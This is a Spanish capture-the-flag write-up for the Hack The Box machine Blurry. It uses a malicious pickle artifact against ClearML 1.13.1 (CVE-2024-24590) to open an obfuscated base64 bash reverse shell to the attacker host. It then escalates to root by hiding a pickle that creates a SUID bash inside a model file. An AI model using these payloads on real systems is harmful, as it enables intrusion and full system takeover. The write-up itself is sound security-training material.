Descripción
Blurry es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Acceso sin autenticación a un servidor de ClearML
- Ejecución remota de comandos en la aplicación ClearML 1.13.1 debido a la deserialización insegura de datos no fiables
- Escalada de privilegios utilizando un archivo Pickle contenido en un modelo de aprendizaje automático y la posibilidad de ejecutar un comando que carga el modelo como el usuario root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.127.228.
$ ping -c 3 10.129.127.228
PING 10.129.127.228 (10.129.127.228) 56(84) bytes of data.
64 bytes from 10.129.127.228: icmp_seq=1 ttl=63 time=52.8 ms
64 bytes from 10.129.127.228: icmp_seq=2 ttl=63 time=53.9 ms
64 bytes from 10.129.127.228: icmp_seq=3 ttl=63 time=51.7 ms
--- 10.129.127.228 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 51.732/52.795/53.897/0.884 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.127.228 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.127.228
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
Conseguimos dos puertos abiertos, 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.127.228 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.127.228
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds
Obtenemos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) funcionando en un sistema operativo Linux Debian. Agregamos el dominio del servidor HTTP, app.blurry.htb, a nuestro archivo /etc/hosts.
$ echo "10.129.127.228 app.blurry.htb" | sudo tee -a /etc/hosts
Si tomamos un minuto para revisar el sitio web en nuestro navegador, encontramos la página de inicio de sesión del software ClearML, una suite de desarrollo y producción para inteligencia artificial (IA) y aprendizaje automático (ML). Pudimos iniciar sesión escribiendo cualquier nombren el campo Full Name. Uno de los usuarios sugeridos es Chad Jippity.
Después de iniciar sesión, si damos clic en la imagen del usuario en la barra superior y luego en el botón Settings, podemos ver que la versión utilizada es la 1.13.1. Esta versión es vulnerable a una deserialización de datos no fiables, CVE-2024-24590. Tenemos más información sobre esta vulnerabilidad en el sitio web de HiddenLayer. Basicamente, un atacante podría crear un archivo pickle que contenga código arbitrario y subirlo como un artefacto a un proyecto a través de la API. Cuando un usuario llama al método getdentro de la clase Artifact para descargar y cargar un archivo en memoria, el archivo pickle se deserializa en su sistema, ejecutando cualquier código arbitrario que contenga. Al hacer alguna enumeración, encontramos que el experimento Review JSON Artifacts del proyecto Black Swan se ejecuta cada dos minutos.
Si damos clic en el experimento, podemos ver el código del script que se está ejecutando y la ruta del script (en la pestaña Execution el código y en la pestaña Info la ruta). La ruta del script es /home/jippity/automation/review_tasks.py, lo que podría significar que el script se está ejecutando con el usuario jippity. Vamos a echar un vistazo a la función main del script.
...
def main():
review_task = Task.init(project_name="Black Swan",
task_name="Review JSON Artifacts",
task_type=Task.TaskTypes.data_processing)
# Retrieve tasks tagged for review
tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)
if not tasks:
print("[!] No tasks up for review.")
return
threads = []
for task in tasks:
print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
p = Process(target=process_task, args=(task,))
p.start()
threads.append(p)
task.set_archived(True)
for thread in threads:
thread.join(60)
if thread.is_alive():
thread.terminate()
# Mark the ClearML task as completed
review_task.close()
En este script, se crea una nueva tarea, Review JSON Artifacts. Esta tarea buscará todas las tareas dentro del proyecto Black Swan y con la etiqueta review, y luego obtendrá el contenido de los artefactos generados para analizarlos para ver si su tipo es dictionary. Ahora nos movemos a la función process_task.
def process_task(task):
artifacts = task.artifacts
for artifact_name, artifact_object in artifacts.items():
data = artifact_object.get()
if isinstance(data, dict):
process_json_artifact(data, artifact_name)
else:
print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")
Como vimos antes, la línea data = artifact_object.get() contiene el método vulnerable get que obtiene el archivo de artefacto. Ahora vamos a crear un script de Python que utiliza la biblioteca clearml para crear una nueva tarea en el proyecto Black Swan y con la etiqueta review que sube un artefacto pickle que puede llevar a una ejecución remota de comandos. Primero necesitamos instalar la biblioteca e iniciar su configuración.
$ python -m virtualenv clearml
$ . clearml/bin/activate
$ pip install clearml
$ clearml-init
Ahora, el script de inicialización de clearml requiere un texto JSON con las credenciales para acceder a la API. Podemos obtenerlo al hacer clic en el botón NEW EXPERIMENT en la lista de tareas de la web y luego en el botón CREATE NEW CREDENTIALS. Obtendremos un texto como este.
api {
web_server: http://app.blurry.htb
api_server: http://api.blurry.htb
files_server: http://files.blurry.htb
credentials {
"access_key" = "W63XR4OMCZKLKJS3O17U"
"secret_key" = "a9OxxRFM9EIeUDQls5o5rxfqC1LlrVm50qlj6xCMdesB9fcZLy"
}
}
Después de pegarlo en la consola, el archivo de configuración /home/<USUARIO>/clearml.conf se creará y podremos continuar. Necesitamos agregar los subdominios api y files a nuestro archivo /etc/hosts.
echo "10.129.127.228 api.blurry.htb" | sudo tee -a /etc/hosts
echo "10.129.127.228 files.blurry.htb" | sudo tee -a /etc/hosts
Explotación
Este es el script de Python que vamos a ejecutar. Es importante tener en cuenta que clearml va a serializar la clase de Python, por lo que necesitamos configurar nuestra clase pickle en la variable artifact_object.
import os
import pickle
from clearml import Task
command_to_run = 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNi8xMjM0IDA+JjE=" | base64 -d | bash'
class RCE:
def __reduce__(self):
return (os.system, (command_to_run,))
task = Task.init(project_name='Black Swan', task_name='New Experiment')
task.set_tags(['review'])
task.upload_artifact(name='pickle_artifact', artifact_object=RCE())
Introducimos el comando que deseamos ejecutar en la variable command_to_run, en este caso, una terminal inversa que se conecte a nuestro puerto 1234. Primero vamos a iniciar el puerto de escucha usando netcat.
$ nc -nvlp 1234
Luego ejecutamos el script. Como la tarea principal se está ejecutando cada dos minutos, obtendremos la consola después de un tiempo.
$ python exploit.py
Obtenemos acceso al sistema como el usuario jippity. Actualizamos la terminal.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.127.228] 55728
bash: cannot set terminal process group (12429): Inappropriate ioctl for device
bash: no job control in this shell
jippity@blurry:~$ id
id
uid=1000(jippity) gid=1000(jippity) groups=1000(jippity)
jippity@blurry:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
[CTRL-Z]
$ stty raw -echo; fg
$ reset xterm
jippity@blurry:~$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
El otro usuario de consola en el sistema es root.
jippity@blurry:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jippity:x:1000:1000:Chad Jippity,,,:/home/jippity:/bin/bash
Vemos que el usuario jippity puede ejecutar el script de Bash /usr/bin/evaluate_model /models/*.pth como el usuario root.
jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
Estos son algunos de los contenidos del script de Bash.
#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.
if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi
MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"
/usr/bin/mkdir -p "$TEMP_DIR"
file_type=$(/usr/bin/file --brief "$MODEL_FILE")
# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
# POSIX tar archive (older PyTorch format)
/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
# Zip archive (newer PyTorch format)
/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
exit 2
fi
/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")
if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
/bin/rm "$MODEL_FILE"
break
fi
done
/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"
if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
Como podemos ver, necesitamos especificar como argumento del programa un modelo de aprendizaje automático, luego el script verificará si el archivo proporcionado es un archivo .tar o un archivo .zip. Después, extraerá el modelo para examinar sus archivos pickle (.pkl) en busca de comandos peligrosos. Luego, considerando que el modelo es seguro, se ejecutará el script Python /models/evaluate_model.py. Encontramos un modelo de prueba, demo_mode.pth en la ruta /models. En este caso, es un archivo .zip.
jippity@blurry:~$ ls -l /models/
total 1060
-rw-r--r-- 1 root root 1077880 May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root 2547 May 30 04:38 evaluate_model.py
jippity@blurry:~$ cd /models/
jippity@blurry:/models$ file demo_model.pth
demo_model.pth: Zip archive data, at least v0.0 to extract
Si ejecutamos el script podemos ver la precisión del modelo.
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
[+] Loaded Model.
[+] Dataloader ready. Evaluating model...
[+] Accuracy of the model on the test dataset: 62.50%
Tenemos permisos de escritura en la ruta /models porque nuestro grupo tiene permisos completos.
jippity@blurry:/models$ ls -l / | grep models
drwxrwxr-x 2 root jippity 4096 May 30 04:39 models
Primero vamos a extraer el modelo de prueba a nuestro sistema y observar su contenido.
$ unzip demo_model.pth
Archive: demo_model.pth
extracting: smaller_cifar_net/data.pkl
extracting: smaller_cifar_net/byteorder
extracting: smaller_cifar_net/data/0
extracting: smaller_cifar_net/data/1
extracting: smaller_cifar_net/data/2
extracting: smaller_cifar_net/data/3
extracting: smaller_cifar_net/data/4
extracting: smaller_cifar_net/data/5
extracting: smaller_cifar_net/data/6
extracting: smaller_cifar_net/data/7
extracting: smaller_cifar_net/version
extracting: smaller_cifar_net/.data/serialization_id
Uno de los archivos del modelo es data.pkl. Si podemos reemplazarlo por un archivo pickle que creemos, podremos ejecutar comandos como el usuario root. Sin embargo, también es necesario ignorar la detección de comandos peligrosos. Vamos a crear otro script en Python para crear el archivo pickle. En este caso, crearemos un binario Bash SUID en la carpeta /tmp.
import os
import pickle
class RunCommand:
def __reduce__(self):
return (os.system, ('cp /bin/bash /tmp/root-bash; chmod u+s /tmp/root-bash',))
command = RunCommand()
with open('smaller_cifar_net/data.pkl', 'wb') as f:
pickle.dump(command, f)
Ejecutamos el script.
$ python create_pickle.py
Luego reempaquetamos el modelo y lo subimos al sistema remoto (en la carpeta models).
$ zip -r model.pth smaller_cifar_net
Y finalmente ejecutamos el script de Bash evaluate_model. Obtenemos un error porque modificamos los comandos originales, pero nuestros comandos se ejecutaron correctamente.
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/model.pth
[+] Model /models/model.pth is considered safe. Processing...
Traceback (most recent call last):
File "/models/evaluate_model.py", line 76, in <module>
main(model_path)
File "/models/evaluate_model.py", line 65, in main
model = load_model(model_path)
File "/models/evaluate_model.py", line 33, in load_model
model.load_state_dict(state_dict)
File "/usr/local/lib/python3.9/dist-packages/torch/nn/modules/module.py", line 2104, in load_state_dict
raise TypeError(f"Expected state_dict to be dict-like, got {type(state_dict)}.")
TypeError: Expected state_dict to be dict-like, got <class 'int'>.
jippity@blurry:/models$ stat /tmp/root-bash | grep Access
Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Podemos crear una sesión de Bash como usuario root.
jippity@blurry:/models$ /tmp/root-bash -p
root-bash-5.1# id
uid=1000(jippity) gid=1000(jippity) euid=0(root) groups=1000(jippity)
Flags
En la consola de root podemos obtener las flags de user y root.
# root-bash-5.1# cat /home/jippity/user.txt
<REDACTED>
root-bash-5.1# cat /root/root.txt
<REDACTED>